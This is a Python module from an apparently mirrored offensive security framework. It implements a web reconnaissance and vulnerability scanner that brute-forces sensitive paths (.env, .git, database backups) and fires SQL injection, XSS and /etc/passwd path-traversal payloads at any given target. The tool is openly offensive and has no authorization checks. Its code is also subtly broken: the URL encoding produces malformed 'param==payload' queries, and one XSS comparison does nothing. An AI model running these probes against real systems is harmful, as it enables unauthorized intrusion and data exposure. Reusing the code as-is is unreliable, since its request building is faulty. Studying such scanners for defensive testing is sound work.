mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-02-12 14:02:45 +00:00
186 lines
8.6 KiB
Python
186 lines
8.6 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
WebRecon - A tool for web reconnaissance and basic vulnerability scanning.
|
|
"""
|
|
import requests
|
|
import logging
|
|
from typing import Dict, List
|
|
from urllib.parse import urljoin, urlencode # Added urlencode
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
class WebRecon:
|
|
"""
|
|
A class for performing basic web reconnaissance and simple vulnerability checks.
|
|
"""
|
|
def __init__(self, config: Dict):
|
|
"""
|
|
Initializes the WebRecon tool.
|
|
|
|
Args:
|
|
config (Dict): The configuration dictionary for the framework.
|
|
"""
|
|
self.config = config
|
|
# Expanded wordlist for discovering common paths
|
|
self.wordlist = [
|
|
"admin", "login", "dashboard", "api", "robots.txt", "sitemap.xml",
|
|
"test", "dev", "backup", "v1", "v2", "v3", ".git", ".env", "config.php",
|
|
"phpinfo.php", "index.php", "main.php", "home.php", "portal.php",
|
|
"upload", "files", "images", "assets", "downloads", "includes",
|
|
"src", "backup.zip", "data.sql", "admin.bak", "panel"
|
|
]
|
|
self.headers = {
|
|
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
|
|
}
|
|
self.test_parameters = ["id", "page", "cat", "item", "view", "name", "query", "search"] # Added for vulnerability testing
|
|
|
|
def analyze(self, target: str) -> Dict:
|
|
"""
|
|
Analyzes a web target to find common directories, files, and basic vulnerabilities.
|
|
|
|
Args:
|
|
target (str): The base URL to analyze. It should include the scheme (http/https).
|
|
|
|
Returns:
|
|
Dict: A dictionary containing the findings including discovered paths and vulnerabilities.
|
|
"""
|
|
logger.info(f"Starting web reconnaissance and basic vulnerability scan on {target}")
|
|
findings = {
|
|
"target": target,
|
|
"status_code": None,
|
|
"headers": {},
|
|
"discovered_paths": [],
|
|
"vulnerabilities": [] # New key for vulnerabilities
|
|
}
|
|
|
|
if not target.startswith(('http://', 'https://')):
|
|
target = f"http://{target}"
|
|
logger.info(f"No scheme provided. Defaulting to http: {target}")
|
|
|
|
# 1. Check base URL connectivity and headers
|
|
try:
|
|
response = requests.head(target, headers=self.headers, timeout=5, allow_redirects=True)
|
|
findings["status_code"] = response.status_code
|
|
findings["headers"] = dict(response.headers)
|
|
logger.info(f"Target {target} is online. Status: {response.status_code}")
|
|
except requests.RequestException as e:
|
|
logger.error(f"Failed to connect to {target}: {e}")
|
|
return {"error": f"Failed to connect to target: {e}"}
|
|
|
|
# 2. Discover common paths
|
|
for path in self.wordlist:
|
|
url_to_check = urljoin(target, path)
|
|
try:
|
|
res = requests.get(url_to_check, headers=self.headers, timeout=3, allow_redirects=False)
|
|
if res.status_code >= 200 and res.status_code < 400:
|
|
logger.info(f"Found path: {url_to_check} (Status: {res.status_code})")
|
|
findings["discovered_paths"].append({
|
|
"path": url_to_check,
|
|
"status_code": res.status_code
|
|
})
|
|
except requests.RequestException:
|
|
# Ignore connection errors for sub-paths
|
|
continue
|
|
|
|
# 3. Perform basic vulnerability checks
|
|
logger.info(f"Performing basic vulnerability checks on {target}")
|
|
findings["vulnerabilities"].extend(self._check_sqli(target))
|
|
findings["vulnerabilities"].extend(self._check_xss(target))
|
|
findings["vulnerabilities"].extend(self._check_lfi(target))
|
|
|
|
logger.info(f"Web reconnaissance on {target} finished. Found {len(findings['discovered_paths'])} paths and {len(findings['vulnerabilities'])} vulnerabilities.")
|
|
return findings
|
|
|
|
def _check_sqli(self, target: str) -> List[Dict]:
|
|
"""Checks for basic SQL Injection vulnerabilities."""
|
|
vulnerabilities = []
|
|
sqli_payloads = ["'", " or 1=1-- -", " or 1=1#", "\" or 1=1-- -"]
|
|
sqli_error_patterns = ["sql syntax", "mysql_fetch_array()", "error in your sql syntax", "warning: mysql", "unclosed quotation mark"]
|
|
|
|
for param in self.test_parameters:
|
|
for payload in sqli_payloads:
|
|
test_url = f"{target}?{param}={urlencode({'': payload})}"
|
|
try:
|
|
response = requests.get(test_url, headers=self.headers, timeout=5)
|
|
for error_pattern in sqli_error_patterns:
|
|
if error_pattern in response.text.lower():
|
|
vulnerabilities.append({
|
|
"type": "SQL Injection",
|
|
"severity": "High",
|
|
"url": test_url,
|
|
"parameter": param,
|
|
"payload": payload,
|
|
"response_snippet": response.text[:200],
|
|
"description": f"Potential SQL Injection via parameter '{param}' with payload '{payload}'"
|
|
})
|
|
logger.warning(f"Potential SQLi found: {test_url}")
|
|
# Stop after first finding for this param/type
|
|
break
|
|
except requests.RequestException:
|
|
continue
|
|
return vulnerabilities
|
|
|
|
def _check_xss(self, target: str) -> List[Dict]:
|
|
"""Checks for basic Cross-Site Scripting (XSS) vulnerabilities."""
|
|
vulnerabilities = []
|
|
xss_payloads = [
|
|
"<script>alert(1)</script>",
|
|
"<img src=x onerror=alert(1)>",
|
|
"<svg onload=alert(1)>"
|
|
]
|
|
|
|
for param in self.test_parameters:
|
|
for payload in xss_payloads:
|
|
test_url = f"{target}?{param}={urlencode({'': payload})}"
|
|
try:
|
|
response = requests.get(test_url, headers=self.headers, timeout=5)
|
|
if payload.replace('alert(1)', 'alert(1)') in response.text or \
|
|
payload in response.text: # Check for reflected payload
|
|
vulnerabilities.append({
|
|
"type": "Cross-Site Scripting (XSS)",
|
|
"severity": "Medium",
|
|
"url": test_url,
|
|
"parameter": param,
|
|
"payload": payload,
|
|
"response_snippet": response.text[:200],
|
|
"description": f"Potential XSS via parameter '{param}' with payload '{payload}'"
|
|
})
|
|
logger.warning(f"Potential XSS found: {test_url}")
|
|
# Stop after first finding for this param/type
|
|
break
|
|
except requests.RequestException:
|
|
continue
|
|
return vulnerabilities
|
|
|
|
def _check_lfi(self, target: str) -> List[Dict]:
|
|
"""Checks for basic Local File Inclusion (LFI) vulnerabilities."""
|
|
vulnerabilities = []
|
|
lfi_payloads = [
|
|
"../../../../etc/passwd",
|
|
"....//....//....//etc/passwd",
|
|
"%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" # URL-encoded
|
|
]
|
|
lfi_patterns = ["root:x:", "daemon:x:", "bin:x:"] # Common patterns in /etc/passwd
|
|
|
|
for param in self.test_parameters:
|
|
for payload in lfi_payloads:
|
|
test_url = f"{target}?{param}={urlencode({'': payload})}"
|
|
try:
|
|
response = requests.get(test_url, headers=self.headers, timeout=5)
|
|
if any(pattern in response.text for pattern in lfi_patterns):
|
|
vulnerabilities.append({
|
|
"type": "Local File Inclusion (LFI)",
|
|
"severity": "High",
|
|
"url": test_url,
|
|
"parameter": param,
|
|
"payload": payload,
|
|
"response_snippet": response.text[:200],
|
|
"description": f"Potential LFI via parameter '{param}' with payload '{payload}'"
|
|
})
|
|
logger.warning(f"Potential LFI found: {test_url}")
|
|
# Stop after first finding for this param/type
|
|
break
|
|
except requests.RequestException:
|
|
continue
|
|
return vulnerabilities
|